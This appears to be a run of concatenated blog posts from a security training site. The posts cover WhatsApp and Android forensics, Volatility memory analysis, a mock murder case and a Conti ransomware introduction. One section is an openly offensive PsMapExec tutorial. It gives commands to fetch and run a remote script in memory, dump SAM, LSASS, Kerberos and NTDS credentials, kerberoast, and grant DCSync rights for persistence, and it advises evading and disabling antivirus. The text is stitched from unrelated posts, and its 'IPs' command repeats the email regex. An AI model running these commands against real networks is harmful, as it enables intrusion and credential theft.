Welcome back, aspiring digital investigators!

Today we will take a look at WhatsApp forensics. WhatsApp is one of those apps that are both private and routine for many users. People treat chats like a private conversation, and because it feels comfortable, users often share things there that they would not say on public social networks. That’s why WhatsApp is so critical for digital forensics. The app stores conversations, media, timestamps, group membership information and metadata that can help reconstruct events, identify contacts and corroborate timelines in criminal and cyber investigations.

At Hackers-Arise we offer professional digital forensics services that support cybercrime investigations and fraud examinations. WhatsApp forensics is done to find reliable evidence. The data recovered from a device can show who communicated with whom, when messages were sent and received, what media was exchanged, and often which account owned the device. That information is used to link suspects and verify statements. It also maps movements when combined with location artifacts that investigators and prosecutors can trust.

You will see how WhatsApp keeps its data on different platforms and what those files contain.

WhatsApp Artifacts on Android Devices

On Android, WhatsApp stores most of its private application data inside the device’s user data area. In a typical layout you will find the app’s files under a path such as /data/data/com.whatsapp/ (or equivalently /data/user/0/com.whatsapp/ on many devices). Those directories are not normally accessible without elevated privileges. To read them directly you will usually need superuser (root) access on the device or a physical dump of the file system obtained through lawful and technically appropriate means. If you do not have root or a physical image, your options are restricted to logical backups or other extraction methods which may not expose the private WhatsApp databases.

Two files deserve immediate attention on Android: wa.db and msgstore.db. Both are SQLite databases and together they form the core of WhatsApp evidence.

wa.db is the contacts database. It lists the WhatsApp user’s contacts and typically contains phone numbers, display names, status strings, timestamps for when contacts were created or changed, and other registration metadata. You will usually open the file with a SQLite browser or query it with sqlite3 to inspect tables. The key tables investigators look for are the table that stores contact records (often named wa_contacts or similar), sqlite_sequence which holds auto-increment counts and gives you a sense of scale, and android_metadata which contains localization info such as the app language.

Wa.db is essentially the address book for WhatsApp. It has names, numbers and a little context for each contact.

msgstore.db is the message store. This database contains sent and received messages, timestamps, message status, sender and receiver identifiers, and references to media files. In many WhatsApp versions you will find tables that include a general information table (often named sqlite_sequence), a full-text index table for message content (message_fts_content or similar), the main messages table which usually contains the message body and metadata, messages_thumbnails which catalogs images and their timestamps, and a chat_list table that stores conversation entries. 

Be aware that WhatsApp evolves and field names change between versions. Newer schema versions may include extra fields such as media_enc_hash, edit_version, or payment_transaction_id. Always inspect the schema before you rely on a specific field name.

On many Android devices WhatsApp also keeps encrypted backups in a public storage location, typically under /data/media/0/WhatsApp/Databases/ (the virtual SD card)

or /mnt/sdcard/WhatsApp/Databases/ for physical SD cards. Those backup files look like msgstore.db.cryptXX, where XX indicates the cryptographic scheme version. 

The msgstore.db.cryptXX files are an encrypted copy of msgstore.db intended for device backups. To decrypt them you need a cryptographic key that WhatsApp stores privately on the device, usually somewhere like /data/data/com.whatsapp/files/. Without that key, those encrypted backups are not readable.

Other important Android files and directories to examine include the preferences and registration XMLs in /data/data/com.whatsapp/shared_prefs/. The file com.whatsapp_preferences.xml often contains profile details and configuration values. A fragment of such a file may show the phone number associated with the account, the app version, a profile message such as “Hey there! I am using WhatsApp.” and the account display name. The registration.RegisterPhone.xml file typically contains registration metadata like the phone number and regional format. 

The axolotl.db file in /data/data/com.whatsapp/databases/ holds cryptographic keys (used in the Signal/Double Ratchet protocol implementation) and account identification data. chatsettings.db contains app settings. Logs are kept under /data/data/com.whatsapp/files/Logs/ and may include whatsapp.log as well as compressed rotated backups like whatsapp-YYYY-MM-DD.1.log.gz

These logs can reveal app activity and errors that may be useful for timing or troubleshooting analysis.

Media is often stored in the media tree on internal or external storage:

/data/media/0/WhatsApp/Media/WhatsApp Images/ for images,

/data/media/0/WhatsApp/Media/WhatsApp Voice Notes/ for voice messages (usually Opus format), WhatsApp Audio, WhatsApp Video, and WhatsApp Profile Photos.

Within the app’s private area you may also find cached profile pictures under /data/data/com.whatsapp/cache/Profile Pictures/ and avatar thumbnails under /data/data/com.whatsapp/files/Avatars/. Some avatar thumbnails use a .j extension while actually being JPEG files. Always validate file signatures rather than trusting extensions.

If the device uses an SD card, a WhatsApp directory at the card’s root may store copies of shared files (/mnt/sdcard/WhatsApp/.Share/), a trash folder for deleted content (/mnt/sdcard/WhatsApp/.trash/), and the Databases subdirectory with encrypted backups and media subfolders mirroring those on internal storage. The presence of deleted files or .trash folders can be a fruitful source of recovered media.

A key complication on Android is manufacturer or custom-ROM behavior. Some vendors add features that change where app data is stored. For example, certain Xiaomi phones implement a “Second Space” feature that creates a second user workspace. WhatsApp in the second workspace stores its data under a different user ID path such as /data/user/10/com.whatsapp/databases/wa.db rather than the usual /data/user/0/com.whatsapp/databases/wa.db

As things evolve and change, you need to validate the actual paths on the target device rather than assuming standard locations.

WhatsApp Artifacts on iOS Devices

On iOS, WhatsApp tends to centralize its data into a few places and is commonly accessible via device backups. The main application database is often ChatStorage.sqlite located under a shared group container such as /private/var/mobile/Applications/group.net.whatsapp.WhatsApp.shared/ (some forensic tools display this as AppDomainGroup-group.net.whatsapp.WhatsApp.shared).

Within ChatStorage.sqlite the most informative tables are often ZWAMESSAGE, which stores message records, and ZWAMEDIAITEM, which stores metadata for attachments and media items. Other tables like ZWAPROFILEPUSHNAME and ZWAPROFILEPICTUREITEM map WhatsApp identifiers to display names and avatars. The table Z_PRIMARYKEY typically contains general database metadata such as record counts.

iOS also places supporting files in the group container. BackedUpKeyValue.sqlite can contain cryptographic keys and data useful for identifying account ownership. ContactsV2.sqlite stores contact details: names, phone numbers, profile statuses and WhatsApp IDs. A simple text file like consumer_version may hold the app version and current_wallpaper.jpg (or wallpaper in older versions) contains the background image used in WhatsApp chats. The blockedcontacts.dat file lists blocked numbers, and pw.dat can hold an encrypted password. Preference plists such as net.whatsapp.WhatsApp.plist or group.net.whatsapp.WhatsApp.shared.plist store profile settings.

Media thumbnails, avatars and message media are stored under paths like /private/var/mobile/Applications/group.net.whatsapp.WhatsApp.shared/Media/Profile/ and /private/var/mobile/Applications/group.net.whatsapp.WhatsApp.shared/Message/Media/. WhatsApp logs, for example calls.log and calls.backup.log, often survive in the Documents or Library/Logs folders and can help establish call activity.

Because iOS devices are frequently backed up through iTunes or Finder, you can often extract WhatsApp artefacts from a device backup rather than needing a full file system image. If the backup is unencrypted and complete, it may include the ChatStorage.sqlite file and associated media. If the backup is encrypted you will need the backup password or legal access methods to decrypt it. In practice, many investigators create a forensic backup and then examine the WhatsApp databases with a SQLite viewer or a specialized forensic tool that understands WhatsApp schema differences across versions.

Practical Notes For Beginners

From the databases and media files described above you can recover contact lists, full or partial chat histories, timestamps in epoch format (commonly Unix epoch in milliseconds on Android), message status (sent, delivered, read), media filenames and hashes, group membership, profile names and avatars, blocked contacts, and even application logs and version metadata. It helps us understand who communicated with whom, when messages were exchanged, whether media were transferred, and which accounts were configured on the device.

For beginners, a few practical cautions are important to keep in mind. First, always operate on forensic images or copies of extracted files. Do not work directly on the live device unless you are performing an approved, controlled acquisition and you have documented every action. Second, use reliable forensic tools to open SQLite databases. If you are parsing fields manually, confirm timestamp formats and time zones. Third, encrypted backups require the device’s key to decrypt. The key is usually stored in the private application area on Android, and without it you cannot decode the .cryptXX files. Fourth, deleted chats and files are not always gone, as databases may leave records or media may remain in caches or on external storage. Yet recovery is never guaranteed and depends on many factors including the time since deletion and subsequent device activity.

When you review message tables, map the message ID fields to media references carefully. Many WhatsApp versions use separate tables for media items where the actual file is referenced by a media ID or filename. Thumbnail tables and media directories will help you reconstruct the link between a textual message and the file that accompanied it. Pay attention to the presence of additional fields in newer app versions. These may contain payment IDs, edit history or encryption metadata. Adapt your queries accordingly.

Finally, because WhatsApp and operating systems change over time, always inspect the schema and file timestamps on the specific evidence you have. Do not assume field names or paths are identical between devices or app versions. Keep a list of the paths and filenames you find so you can reproduce your process and explain it in reports.

Summary

WhatsApp forensics is a rich discipline. On Android the primary artifacts are the wa.db contacts database, the msgstore.db message store and encrypted backups such as msgstore.db.cryptXX, together with media directories, preference XMLs and cryptographic key material in the app private area. On iOS the main artifact is ChatStorage.sqlite and a few supporting files in the app group container and possibly contained in a device backup. To retrieve and interpret these artifacts you must have appropriate access to the device or an image and know where to look for the app files on the device you are examining. Also, be comfortable inspecting SQLite databases and be prepared to decrypt backups where necessary.

If this kind of work interests you and you want to understand how real mobile investigations are carried out, you can also join our three-day mobile forensics course. The training walks you through the essentials of Android and iOS, explains how evidence is stored on modern devices, and shows you how investigators extract and analyze that data during real cases. You will work with practical labs that involve hidden apps, encrypted communication, and devices that may have been rooted or tampered with. 

Learn more:

https://hackersarise.thinkific.com/courses/mobile-forensics

Hello, aspiring digital forensics investigators!

Welcome back to our guide on memory analysis!

In the first part, we covered the fundamentals, including processes, dumps, DLLs, handles, and services, using Volatility as our primary tool. We created this series to give you more clarity and help you build confidence in handling memory analysis cases. Digital forensics is a fascinating area of cybersecurity and earning a certification in it can open many doors for you. Once you grasp the key concepts, you’ll find it easier to navigate the field. Ultimately, it all comes down to mastering a core set of commands, along with persistence and curiosity. Governments, companies, law enforcement and federal agencies are all in need of skilled professionals  As cyberattacks become more frequent and sophisticated, often with the help of AI, opportunities for digital forensics analysts will only continue to grow.

Now, in part two, we’re building on that to explore more areas that help uncover hidden threats. We’ll look at network info to see connections, registry keys for system changes, files in memory, and some scans like malfind and Yara rules to find malware. Plus, as promised, there are bonuses at the end for quick ways to pull out extra details

Network Information

As a beginner analyst, you’d run network commands to check for sneaky connections, like if malware is phoning home to hackers. For example, imagine investigating a company’s network after a data breach, these tools could reveal a hidden link to a foreign server stealing customer info, helping you trace the attacker.

‘Netscan‘ scans for all network artifacts, including TCP/UDP. ‘Netstat‘ lists active connections and sockets. In Vol 2, XP/2003-specific ones like ‘connscan‘ and ‘connections‘ focus on TCP, ‘sockscan‘ and ‘sockets‘ on sockets, but they’re old and not present in Vol 3.

Volatility 2:

vol.py -f “/path/to/file” ‑‑profile <profile> netscan

vol.py -f “/path/to/file” ‑‑profile <profile> netstat

XP/2003 SPECIFIC:

vol.py -f “/path/to/file” ‑‑profile <profile> connscan

vol.py -f “/path/to/file” ‑‑profile <profile> connections

vol.py -f “/path/to/file” ‑‑profile <profile> sockscan

vol.py -f “/path/to/file” ‑‑profile <profile> sockets

Volatility 3:

vol.py -f “/path/to/file” windows.netscan

vol.py -f “/path/to/file” windows.netstat

bash$ > vol -f Windows7.vmem windows.netscan

This output shows network connections with protocols, addresses, and PIDs. Perfect for spotting unusual traffic.

bash$ > vol -f Windows7.vmem windows.netstat

Here, you’ll get a list of active sockets and states, like listening or established links.

Note, the XP/2003 specific plugins are deprecated and therefore not available in Volatility 3, although are still common in the poorly financed government sector.

Registry

Hive List

You’d use hive list commands to find registry hives in memory, which store system settings malware often tweaks these for persistence. Say you’re checking a home computer after suspicious pop-ups. This could show changes to startup keys that launch bad software every boot.

‘hivescan‘ scans for hive structures. ‘hivelist‘ lists them with virtual and physical addresses.

Volatility 2:

vol.py -f “/path/to/file” ‑‑profile <profile> hivescan

vol.py -f “/path/to/file” ‑‑profile <profile> hivelist

Volatility 3:

vol.py -f “/path/to/file” windows.registry.hivescan

vol.py -f “/path/to/file” windows.registry.hivelist

bash$ > vol -f Windows7.vmem windows.registry.hivelist

This lists the registry hives with their paths and offsets for further digging.

bash$ > vol -f Windows7.vmem windows.registry.hivescan

The scan output highlights hive locations in memory.

Printkey

Printkey is handy for viewing specific registry keys and values, like checking for malware-added entries. For instance, in a ransomware case, you might look at keys that control file associations to see if they’ve been hijacked.

Without a key, it shows defaults, while -K or –key targets a certain path.

Volatility 2:

vol.py -f “/path/to/file” ‑‑profile <profile> printkey

vol.py -f “/path/to/file” ‑‑profile <profile> printkey -K “Software\Microsoft\Windows\CurrentVersion”

Volatility 3:

vol.py -f “/path/to/file” windows.registry.printkey

vol.py -f “/path/to/file” windows.registry.printkey ‑‑key “Software\Microsoft\Windows\CurrentVersion”

bash$ > vol -f Windows7.vmem windows.registry.printkey

This gives a broad view of registry keys.

bash$ > vol -f Windows7.vmem windows.registry.printkey –key “Software\Microsoft\Windows\CurrentVersion”

Here, it focuses on the specified key, showing subkeys and values.

Files

File Scan

Filescan helps list files cached in memory, even deleted ones, great for finding malware files that were run but erased from disk. This can uncover temporary files from the infection.

Both versions scan for file objects in memory pools.

Volatility 2:

vol.py -f “/path/to/file” ‑‑profile <profile> filescan

Volatility 3:

vol.py -f “/path/to/file” windows.filescan

bash$ > vol -f Windows7.vmem windows.filescan

This output lists file paths, offsets, and access types.

File Dump

You’d dump files to extract them from memory for closer checks, like pulling a suspicious script. In a corporate espionage probe, dumping a hidden document could reveal leaked secrets.

Without options, it dumps all. With offsets or PID, it targets specific ones. Vol 3 uses virtual or physical addresses.

Volatility 2:

vol.py -f “/path/to/file” ‑‑profile <profile> dumpfiles ‑‑dump-dir=“/path/to/dir”

vol.py -f “/path/to/file” ‑‑profile <profile> dumpfiles ‑‑dump-dir=“/path/to/dir” -Q <offset>

vol.py -f “/path/to/file” ‑‑profile <profile> dumpfiles ‑‑dump-dir=“/path/to/dir” -p <PID>

Volatility 3:

vol.py -f “/path/to/file” -o “/path/to/dir” windows.dumpfiles

vol.py -f “/path/to/file” -o “/path/to/dir” windows.dumpfiles ‑‑virtaddr <offset>

vol.py -f “/path/to/file” -o “/path/to/dir” windows.dumpfiles ‑‑physaddr <offset>

bash$ > vol -f Windows7.vmem windows.dumpfiles

This pulls all cached files Windows has in RAM.

Miscellaneous

Malfind

Malfind scans for injected code in processes, flagging potential malware.

Vol 2 shows basics like hexdump. Vol 3 adds more details like protection and disassembly.

Volatility 2:

vol.py -f “/path/to/file” ‑‑profile <profile> malfind

Volatility 3:

vol.py -f “/path/to/file” windows.malfind

bash$ > vol -f Windows7.vmem windows.malfind

This highlights suspicious memory regions with details.

Yara Scan

Yara scan uses rules to hunt for malware patterns across memory. It’s like a custom detector. For example, during a widespread attack like WannaCry, a Yara rule could quickly find infected processes.

Vol 2 uses file path. Vol 3 allows inline rules, file, or kernel-wide scan.

Volatility 2:

vol.py -f “/path/to/file” yarascan -y “/path/to/file.yar”

Volatility 3:

vol.py -f “/path/to/file” windows.vadyarascan ‑‑yara-rules <string>

vol.py -f “/path/to/file” windows.vadyarascan ‑‑yara-file “/path/to/file.yar”

vol.py -f “/path/to/file” yarascan.yarascan ‑‑yara-file “/path/to/file.yar”

bash$ > vol -f Windows7.vmem windows.vadyarascan –yara-file yara_fules/Wannacrypt.yar

As you can see we found the malware and all related processes to it with the help of the rule

Bonus

Using the strings command, you can quickly uncover additional useful details, such as IP addresses, email addresses, and remnants from PowerShell or command prompt activities.

Emails

bash$ > strings Windows7.vmem | grep -oE "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b"

IPs

bash$ > strings Windows7.vmem | grep -oE "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b"

Powershell and CMD artifacts

bash$ > strings Windows7.vmem | grep -E "(cmd|powershell|bash)[^\s]+"

Summary

By now you should feel comfortable with all the network analysis, file dumps, hives and registries we had to go through. As you practice, your confidence will grow fast. The commands covered here will help you solve most of the cases as they are fundamental. Also, don’t forget that Volatility has a lot more different plugins that you may want to explore. Feel free to come back to this guide anytime you want. Part 1 will remind you how to approach a memory dump, while Part 2 has the commands you need. In this part, we’ve expanded your Volatility toolkit with network scans to track connections, registry tools to check settings, file commands to extract cached items, and miscellaneous scans like malfind for injections and Yara for pattern matching. Together they give you a solid set of steps. 

If you want to turn this into a career, our digital forensics courses are built to get you there. Many students use this training to prepare for industry certifications and job interviews. Our focus is on the practical skills that hiring teams look for.

Welcome back, dear digital investigators! 

Today, we’re exploring mobile forensics, a field that matters deeply in modern crime investigations. Think about how much our phones know about us. They carry our contacts, messages, locations, and app history in many ways. They are a living log of our daily lives. Because they travel with us everywhere, they can be a goldmine of evidence when something serious happens, like a crime. In a murder investigation, for instance, a suspect’s or a victim’s phone can help us answer critical questions: Who were they in touch with right before the crime? Where did they go? What were they doing? What kind of money dealings were they involved in? All of this makes mobile forensics powerful for investigators. As digital forensic specialists, we use that data to reconstruct timelines, detect motives, and understand relationships. Because of this, even a seemingly small app on a phone might have huge significance. For example, financial trading apps may reveal risky behavior or debt. Chat apps might contain confessions or threats. Location logs might show the victim visiting unusual places.

The Difference Between Android and iOS Forensics

When we do mobile forensics, we usually see Android and iOS devices. These two operating systems are quite different under the hood, and that affects how we work with them. On Android, there’s generally more openness. The file system for many devices is more accessible, letting us examine data stored in app directories, caches, logs, and more. Because Android is so widespread and also fragmented with many manufacturers and versions, the data we can access depends a lot on the model and version. 

On iOS, things are tighter. Apple uses its own file system (APFS), and there’s strong encryption, often backed by secure hardware. That means extracting data can be more challenging. Because of this, forensic tools must be very sophisticated to handle iOS devices.

When it comes to which has more usable data, Android often gives us more raw artifacts because of its flexibility. But iOS can also be very rich, especially when data is backed up to iCloud or when we can legally access the device in powerful ways.

The Tools For the Job

One of the most powerful tools is Cellebrite, which is used by law enforcement and digital forensic labs. Cellebrite’s tools are capable of extracting data from both Android and iOS devices, sometimes even from locked devices. But the ability to extract depends a lot on the device model, its security patch level, and how encrypted it is.

There’s an interesting twist when it comes to GrapheneOS, which is a very security-focused version of Android. According to reports, Cellebrite tools struggle more with GrapheneOS, especially on devices updated after 2022. In some cases, they may be able to do a “consent-based” extraction (meaning the phone has to be unlocked by the user), but they can’t fully bypass the security on a fully patched GrapheneOS phone. Because of that, from a security perspective, users are strongly encouraged to keep their firmware and operating system updated. Regular updates close vulnerabilities. Also, using strong passcodes, enabling encryption, and being careful about where sensitive data is stored can make a real difference in protecting personal data.

Our Case: Investigating a Murder Using an Android Phone

Now, let’s turn to our case. We are in the middle of a murder investigation, and we’ve managed to secure the victim’s Android phone. After talking with witnesses and people who were close to the victim, we believe this phone holds critical evidence. To analyze all of that, we are using ALEAPP, a forensic tool made specifically for parsing Android data.

ALEAPP and How It Works

ALEAPP stands for Android Logs, Events, And Protobuf Parser. It’s an open-source tool maintained by the forensic community. Basically, ALEAPP allows us to take the extracted data from an Android phone, whether it’s a logical extraction, a TAR or ZIP file, or a file-system dump and turn that raw data into a human-readable, well-organized report. ALEAPP can run through a graphical interface, which is very friendly and visual, or via command line, depending on how you prefer to work. As it processes data, it goes through different modules for things like call logs, SMS, app usage, accounts, Wi-Fi events, and more. In the end, it outputs a report, so you can easily explore and navigate all the findings.

You can find the repository here:

https://github.com/abrignoni/ALEAPP

What We Found on the Victim’s Phone

We started by examining the internal storage of the Android device, especially the /data folder. This is where apps keep their private data, caches, and account information. Then, we prepared a separate place on our investigation workstation, a folder called output, where ALEAPP would save its processed data.

Once ALEAPP was ready, we launched it and pointed it to the extracted directories. We left all its parsing modules turned on so we wouldn’t miss any important artifact. We clicked “Process,” and depending on the size of the extracted data, we waited for a few minutes while ALEAPP parsed everything.

When the processing was done, a new folder appeared inside our output directory. In that folder, there was a file called index.html, that’s our main report. We opened it with a browser and the GUI showed us different categories. The interface is clean and intuitive, so even someone not deeply familiar with command-line tools can navigate it.

Evidence That Stood Out

One of the first things that caught our attention was a trading app. ALEAPP showed an installed application named OlympTrade. A quick web search confirmed that OlympTrade is a real online trading platform. That fits with what witnesses told us. The victim was involved in trading, possibly borrowing or investing money. We also noted a hash value for the app in our report, which helps prove the data’s integrity. This means we can be more confident that what we saw hasn’t been tampered with.

Next, we turned to text messages. According to the victim’s best friend’s testimony, the victim avoided some calls and said he owed a lot of money. When we checked SMS data in ALEAPP, we found a thread where the victim indeed owed $25,000 USD to someone.

We looked up the number in the contacts list, and it was saved under the name John Oberlander. That makes John an important person of interest in this investigation.

Then, we dove into location data. The victim’s family said that on September 20, 2023, he left his home without saying where he was going. In ALEAPP’s “Recent Activity” section, which tracks events like Wi-Fi connections, GPS logs, and other background activity, we saw evidence placing him at The Nile Ritz-Carlton in Cairo, Egypt. This is significant. A 5-star hotel, which could have security footage, check-in records, or payment logs. Investigators would almost certainly reach out to the hotel to reconstruct his stay.

The detective pressed on with his investigation and spoke with the hotel staff, hoping to fill in more of the victim’s final days. The employees confirmed that the victim had booked a room for ten days and was supposed to take a flight afterward. Naturally, the investigator wondered whether the victim had saved any ticket information on the phone, since many people store their travel plans digitally nowadays. Even though no tickets turned up in the phone’s files, the search did reveal something entirely different, and potentially much more important. We looked at Discord, since the app appeared in the list of installed applications. Discord logs can reveal private chats, plans, and sometimes illicit behavior. In this case, we saw a conversation indicating that the victim changed his travel plans. He postponed a flight to October 1st, according to the chat.

Later, he agreed to meet someone in person at a very specific place. It was the Fountains of Bellagio in Las Vegas. That detail could tie into motive or meetings related to the crime.

What Happens Next

At this stage, we’ve collected and parsed digital evidence, but our work is far from over. Now, we need to connect the phone-based data to the real world. That means requesting more information from visited places, checking for possible boarding or ticket purchases, and interviewing people named in the phone, like John Oberlander, or the person from Discord.

We might also want to validate financial trail through the trading platform (if we can access it legally), bank statements, or payment records. And importantly, we should search for other devices or backups. Maybe the victim had cloud backups, like Google Drive, or other devices that shed more light.

Reconstructed Timeline

The victim was heavily involved in trading and apparently owed $25,000 USD to John Oberlander. On September 20, 2023, he left his residence without telling anyone where he was headed. The phone’s location data places him later that day at The Nile Ritz-Carlton in Cairo, suggesting he stayed there. Sometime afterward, according to Discord chats, he changed his travel plans and his flight was rescheduled for October 1. During these chats, he arranged a meeting with someone at the Fountains of Bellagio in Las Vegas.

Summary

Mobile forensics is a deeply powerful tool when investigating crimes. A single smartphone can hold evidence that helps reconstruct what happened, when, and with whom. Android devices often offer more raw data because of their openness, while iOS devices pose different challenges due to their strong encryption. Tools like ALEAPP let us parse all of that data into meaningful and structured reports.

In the case we’re studying, the victim’s phone has offered us insights into his financial troubles, his social connections, his movements, and his plans. But digital evidence is only one piece. To solve a crime, we must combine what we learn from devices with interviews, external records, and careful collaboration with other investigators.

Our team provides professional mobile forensics services designed to support individuals, organizations, and legal professionals who need clear, reliable answers grounded in technical expertise. We also offer a comprehensive digital forensics course for those who want to build their own investigative skills and understand how evidence is recovered, analyzed, and preserved. And if you feel that your safety or your life may be at risk, reach out immediately. Whether you need guidance, assistance, or a deeper understanding of the digital traces surrounding your case, we are here to help.

Check out our Mobile Forensics training for more in-depth training

Welcome back, aspiring cyberwarriors!

During the past few months, we have been covering different ways to use PowerShell to survive, cause mayhem, and hack systems. We have also collected and created scripts for various purposes, stored in our repository for all of you to use. All these tools are extremely useful during pentests. As you know, with great power comes great responsibility. Today we will cover another tool that will significantly improve how you interact with systems. It’s called PsMapExec.

It was developed by The-Viper-One, inspired by CrackMapExec and its successor NetExec. Although PsMapExec doesn’t have identical capabilities to NetExec, it offers much greater stealth since it can be loaded directly into memory without ever touching the disk. Stealth remains one of the top priorities in hacking. Beyond that, the tool can execute commands even without knowing the password. It’s a big advantage when you gain access to a protected user during phishing or privilege escalation stages of a test.

The script has been around for a while but hasn’t gained much attention. That’s one of the reasons we decided to introduce it here. Like most publicly available offensive tools, it will get flagged by Defender if loaded directly. Skilled hackers often modify such scripts while keeping their core functionality intact, which helps them evade detection. Many offensive scripts rely on native Windows functions, and since those calls can’t be flagged, Microsoft and other vendors often rely on static keyword-based detection instead.

Finding a machine with no active antivirus isn’t always easy but is almost always possible. There are ways to bypass UAC, dump SAM hashes, modify the registry to allow pass-the-hash attacks, and then use a reverse proxy to connect via RDP. Once you have GUI access, your options widen. This approach isn’t the most stealthy, but it remains a reliable one.

Once Defender is disabled, you can move forward and test the script. Let’s explore some of its capabilities.

Loading in Memory

To avoid touching the disk and leaving unnecessary forensic traces, it’s best to execute the script directly in memory. You can do this with the following command:

PS > IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

Once it’s loaded, we can proceed.

Dumping SAM Hashes

One of the first logical steps after gaining access to a host is dumping its hashes. SAM and LSASS attacks are among the most common ways to recover credentials. SAM gives you local user account hashes, while LSASS provides hashes of all connected users, including domain administrators and privileged accounts. In some organizations, critical users may belong to the Protected Users Group, which prevents their credentials from being cached in memory. While not a widespread practice, it’s something worth noting.

To dump local accounts from a single machine:

PS > PsMapExec smb -Targets MANAGER-1 -Module SAM -ShowOutput

To dump local accounts from all machines in a domain:

PS > PsMapExec smb -Targets all -Module SAM -ShowOutput

The output is clean and only includes valid local accounts.

Dumping LSASS Hashes

LSASS (Local Security Authority Subsystem Service) handles authentication on Windows systems. When you log in, your credentials are sent to the Domain Controller for validation, and if approved, you get a session token. Domain credentials are only stored temporarily on local machines. Even when a session is locked, credentials may still reside in memory.

To dump LSASS locally using an elevated shell:

PS > PsMapExec smb -Targets “localhost” -Module “LoginPasswords” -ShowOutput

If the current user doesn’t have permission, specify credentials manually:

PS > PsMapExec smb -Targets “DC” -Username “user” -Password “password” -Module “LoginPasswords” -ShowOutput

You can also perform this remotely with the same syntax.

Remote Command Execution

Every network is different. Some environments implement segmentation to prevent lateral movement, which adds complexity. The process of discovering the right hosts to pivot through is called pivoting.

To view network interfaces on all domain machines:

PS > PsMapExec SMB -Target all -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”

To query a single machine:

PS > PsMapExec SMB -Target “DC” -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”

You can execute other reconnaissance commands in the same way. After identifying valuable hosts, you may want to enable WINRM for stealthier interaction:

PS > PsMapExec SMB -Target “MANAGER-1” -Username “user” -Password “password” -Command “winrm quickconfig -q” -Domain “sekvoya.local”

Kerberos Tickets

Another valuable module PsMapExec provides is Kerbdump, which allows you to dump Kerberos tickets from remote memory. These tickets can be extracted for offline analysis or attacks such as Pass-the-Ticket. In Active Directory environments, Kerberos is responsible for issuing and validating these “passes” for authentication.

Some domains may disable NTLM for security reasons, which means you’ll rely on Kerberos. It’s a normal and frequent part of AD traffic, making it a subtle and effective method.

PS > PsMapExec -Method smb -Targets DC -Username “user” -Password “password” -Module “KerbDump” -ShowOutput

The script parses the output automatically and gives you usable results.

Kerberoasting

Kerberoasting is a different kind of attack compared to simply dumping tickets. It focuses on obtaining Kerberos service tickets and brute-forcing them offline to recover plaintext credentials. The main idea is to assign an SPN to a target user and then extract their ticket.

Set an SPN for a user:

PS > PsMapExec ldap -Targets DC -Module AddSPN -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”

Then kerberoast that user:

PS > PsMapExec kerberoast -Target “DC” -Username “user” -Password “password” -Option “kerberoast:adm_ivanov” -ShowOutput

This technique is effective for persistence and privilege escalation.

Ekeys

Kerberos tickets are encrypted using special encryption keys. Extracting these allows you to decrypt or even forge tickets, which can lead to deeper persistence and movement within the domain.

PS > PsMapExec wmi -Targets all -Module ekeys -ShowOutput

Targeting all machines in a big domain can create noise and compromise operational security.

Timeroasting

Another attack that targets Active Directory environments by exploiting how computers sync their clocks using the Network Time Protocol (NTP). In simple terms, it’s a way for hackers to trick a Domain Controller into revealing password hashes for computer accounts. These hashes can then be cracked offline to get the actual passwords, helping attackers move around the network or escalate privileges. Computer passwords are often long and random, but if they’re weak or reused, cracking succeeds. No alerts are triggered since it’s a normal time-sync query. The attack is hard to pull off, but it’s possible. When a new computer account is configured as a “pre-Windows 2000 computer”, its password is set based on its name. If the computer account name is MANAGER$ and it’s configured as “pre-Windows 2000 computer”, then the password will be lowercase computer name without the trailing $). When it isn’t configured like that, the password is randomly generated.

PS > PsMapExec ldap -Targets DC -Module timeroast -ShowOutput

Finding Files

Finding interesting or sensitive files on remote systems is an important phase in any engagement. PsMapExec’s Files module automatically enumerates non-default files within user directories.

PS > PsMapExec wmi -Targets all -Module Files -ShowOutput

ACL Persistence

ACL persistence is a critical step after compromising an Active Directory domain. Credentials will rotate, hackers make mistakes that reveal their presence, and administrators will take measures to evict intruders. Implementing ACL-based persistence allows an attacker to maintain control over privileged groups or to perform DCSync attacks that extract directory data. For those unfamiliar, DCSync is an attack in which you impersonate a domain controller and request replication of the NTDS.dit data from a legitimate DC. Once obtained, the attacker acquires password hashes for all domain accounts, including the krbtgt account. Some recommend burning the domain down after a successful DCSync, because attackers will find ways to regain access.

You might think, “Okay, reset the KRBTGT password” Microsoft recommends doing this twice in quick succession. The first reset changes the hash for new tickets, and the second clears out the old history to fully invalidate everything. But that’s often not enough. Even after a reset, any Golden Tickets the attackers already forged remain usable until they expire. Default ticket lifetimes are 7-10 hours for sessions, but attackers can make them last up to 10 years! During this window, hackers can dig in deeper by creating hidden backdoor accounts, modifying group policies, or infecting other machines.

Assign DCSync privileges:

PS > PsMapExec ldap -Target DC -Module Elevate -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”

NTDS Dump

The NTDS dump is the final stage once domain admin privileges are obtained. Extracting NTDS.dit and associated registry hives allows for offline cracking and full credential recovery.

PS > PsMapExec SMB -Targets “DC” -Username “user” -Password “password” -Module NTDS -ShowOutput

This provides complete domain compromise capabilities and the ability to analyze or reuse credentials at will.

Summary

PsMapExec is a powerful framework that takes PowerShell-based network exploitation to a new level. It combines stealth and practicality, making it suitable for both red teamers and penetration testers who need to operate quietly within Windows domains. Its ability to run fully in memory minimizes traces, and its modules cover nearly every stage of network compromise, from reconnaissance and privilege escalation to persistence and data extraction. While we only explored some of its most impactful commands, PsMapExec offers far more under the hood. The more you experiment with it, the more its potential becomes evident.

Want to become a Powershell expert? Join our Powershell for Hackers training, March 10-12!

Welcome back, aspiring digital forensic investigators!

The world of cybercrime continues to grow every year, and attackers constantly discover new opportunities and techniques to break into systems. One of the most dangerous and well-organized ransomware groups in recent years was Conti. Conti operated almost like a real company, with dedicated teams for developing malware, gaining network access, negotiating with victims, and even providing “customer support” for payments. The group targeted governments, hospitals, corporations, and many other high-value organizations. Their attacks included encrypting systems, stealing data, and demanding extremely high ransom payments.

For investigators, Conti became an important case study because their operations left behind a wide range of forensic evidence from custom malware samples to fast lateral movement and large-scale data theft. Even though the group officially shut down after their internal chats were leaked, many of their operators, tools, and techniques continued to appear in later attacks. This means Conti’s methods still influence modern ransomware operations which makes it a valid topic for forensic investigators.

